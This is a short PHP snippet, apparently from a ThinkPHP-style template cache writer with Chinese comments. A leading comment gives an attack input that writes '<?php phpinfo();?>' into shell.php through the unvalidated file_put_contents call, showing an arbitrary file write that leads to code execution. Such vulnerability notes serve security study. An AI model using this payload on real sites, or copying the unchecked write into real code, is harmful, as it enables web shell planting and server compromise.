//传参: cacheFile=shell.php&content=<?php phpinfo();?>
public function write($cacheFile, $content)
{
// 检测模板目录
$dir = dirname($cacheFile);
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
// 生成模板缓存文件
if (false === file_put_contents($cacheFile, $content)) {
throw new Exception('cache write error:' . $cacheFile, 11602);
}
}